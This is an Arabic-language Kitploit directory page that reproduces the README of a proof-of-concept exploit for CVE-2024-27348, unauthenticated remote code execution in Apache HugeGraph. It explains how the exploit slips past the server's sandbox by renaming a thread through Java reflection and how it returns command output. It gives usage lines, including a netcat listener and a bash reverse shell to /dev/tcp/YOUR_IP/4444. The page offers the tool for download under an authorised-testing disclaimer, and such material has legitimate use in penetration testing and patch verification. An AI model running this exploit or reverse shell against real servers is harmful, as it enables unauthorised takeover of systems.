Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-27348-HugeGraph-RCE — استغلال PoC متقدم لـ CVE-2024-27348، يحقق RCE موثوقًا في Apache HugeGraph عبر تجاوز وضع الحماية وتنفيذ الأوامر غير الأعمى. | Kitploit
أدوات/GitHubGitHub/akelaqe/cve-2024-27348-hugegraph-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubakelaqe/cve-2024-27348-hugegraph-rce

CVE-2024-27348-HugeGraph-RCE

استغلال PoC متقدم لـ CVE-2024-27348، يحقق RCE موثوقًا في Apache HugeGraph عبر تجاوز وضع الحماية وتنفيذ الأوامر غير الأعمى.

عرض المستودع
13منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-27348: Apache HugeGraph RCE (تجاوز متقدم لصندوق الرمل)

Python 3.x Exploit CVE

مستغل إثبات المفهوم (PoC) متقدم وموثوق للغاية لـ CVE-2024-27348 (ثغرة تنفيذ الأوامر عن بعد في Apache HugeGraph Server).

على عكس العديد من مستغلات PoC العامة التي تنفذ الأوامر بشكل أعمى أو تفشل في التعامل مع الحمولات المعقدة بسبب قيود Runtime.exec() في Java، تم تصميم هذا السكريبت لـ الموثوقية في سيناريوهات اختبار الاختراق الواقعية.

⚠️ إخلاء مسؤولية

لأغراض التعليم والاختبار المصرح به فقط. تم توفير هذه الأداة لباحثي الأمن ومختبري الاختراق ومسؤولي الأنظمة للتحقق من الثغرة في بيئات مصرح بها. المؤلف غير مسؤول عن أي استخدام خاطئ أو ضرر ناتج عن هذه الأداة.

✨ الميزات والتحسينات التقنية

يحسّن هذا المستغل من مستغلات PoC العامة المبكرة من خلال معالجة ثلاث مشكلات حرجة:

  1. تجاوز صندوق الرمل HugeSecurityManager: يقوم صندوق الرمل في HugeGraph بحظر التنفيذ إذا كان مؤشر الترابط المستدعي يُسمى gremlin-server-exec-* أو task-worker-*. تستخدم هذه الحمولة Java Reflection لإعادة تسمية مؤشر الترابط المنفذ ديناميكيًا إلى BypassThread قبل تشغيل الحمولة، متجنبة بذلك مدير الأمان بسلاسة.
  2. معالجة الحمولات المعقدة: بدلاً من استخدام Runtime.getRuntime().exec(String)، الذي يكسر أوامر bash المعقدة (مثل الصدف العكسية) عند المسافات، يستخدم هذا المستغل ProcessBuilder مع List<String> منسقة بشكل صحيح. يسمح هذا بتنفيذ آمن للحمولات المعقدة مع علامات الاقتباس وإعادة التوجيه.
  3. قراءة المخرجات بالكامل (RCE غير أعمى): يقرأ السكريبت InputStream الخاص بالعملية المنفذة باستخدام Scanner من Java ويعيد المخرجات الفعلية للأمر في استجابة HTTP بصيغة JSON. ترى بالضبط ما يراه الخادم.

⚙️ المتطلبات

  • بايثون 3.x
  • مكتبة requests

قم بتثبيت التبعيات المطلوبة:

pip3 install requests

🚀 الاستخدام

python3 exploit.py -u <TARGET_URL> -c <COMMAND>

أمثلة

  1. تنفيذ أمر أساسي (قراءة المخرجات):
python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "whoami"
  1. إنشاء صدفة عكسية: نظرًا لأن الحمولة تتعامل مع المسافات وعلامات الاقتباس بشكل صحيح، يمكنك إدخال صدفة bash عكسية قياسية مباشرة دون الحاجة إلى ترميزها بـ base64 أو تجهيزها:
# على جهازك المهاجم، ابدأ مستمعًا:
nc -lvnp 4444

# نفذ المستغل:
python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

🔍 تفاصيل الثغرة

يعرض خادم Apache HugeGraph نقطة نهاية Gremlin API (/gremlin) تتيح للمستخدمين إرسال نصوص Groovy. بسبب عدم كفاية صندوق الرمل في الإصدارات السابقة للتصحيح، يمكن لمهاجم غير مصادق تنفيذ أوامر نظام تشغيل عشوائية عبر Java Reflection.

تنزيل الأداة